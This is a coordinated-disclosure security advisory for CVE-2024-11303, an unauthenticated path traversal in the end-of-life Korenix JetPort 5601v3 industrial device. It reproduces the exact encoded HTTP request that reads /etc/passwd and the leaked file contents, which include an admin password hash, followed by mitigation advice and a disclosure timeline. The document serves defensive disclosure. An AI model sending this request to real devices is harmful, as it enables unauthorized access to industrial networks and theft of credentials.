St. Pölten UAS | Path Traversal in Korenix JetPort

„Korenix Technology, a Beijer group company within the Industrial Communication business area, is a global leading manufacturer providing innovative, market-oriented, value-focused Industrial Wired and Wireless Networking Solutions. With decades of experiences in the industry, we have developed various product lines […].

Our products are mainly applied in SMART industries: Surveillance, Machine-to-Machine, Automation, Remote Monitoring, and Transportation. Worldwide customer base covers different Sales channels, including end-customers, OEMs, system integrators, and brand label partners. […]“

Source: https://www.korenix.com/en/about/index.aspx?kind=3

Korenix JetPort 5601v3 / v1.2

1) Path Traversal (CVE-2024-11303)
A path traversal attack for unauthenticated users is possible. This allows getting access to the operating system of the device and access information like configuration files and connections to other hosts or potentially other sensitive information.

By sending the following request to the following endpoint, a path traversal vulnerability can be triggered:

GET /%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: 10.69.10.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Te: trailers
Connection: keep-alive

Note, that this is only possible when an interceptor proxy or a command line tool is used. A web browser would encode the characters and the path traversal would not work.
The response to the latter request is shown below:

HTTP/1.1 200 OK
Server: thttpd/2.19-MX Jun 2 2022
Content-type: text/plain; charset=iso-8859-1
[…]
Accept-Ranges: bytes
Connection: Keep-Alive
Content-length: 86
root::0:0:root:/root:/bin/false
admin:$1$$CoERg7ynjYLsj2j4glJ34.:502:502::/:/bin/true

None. Device is End-of-Life.

Limit the access to the device and place it within a segmented network.

CyberDanube recommends Korenix customers to upgrade to another device.

• 2024-09-23: Contacting Beijer Electronics Group via cs@beijerelectronics.com.
• 2024-09-24: Vendor stated, that the device is end-of-life. Contact will ask the engineering team if there are any changes.
• 2024-10-15: Vendor stated, that the advisory can be published. No further updates are planned for this device.
• 2024-11-18: Coordinated disclosure of advisory.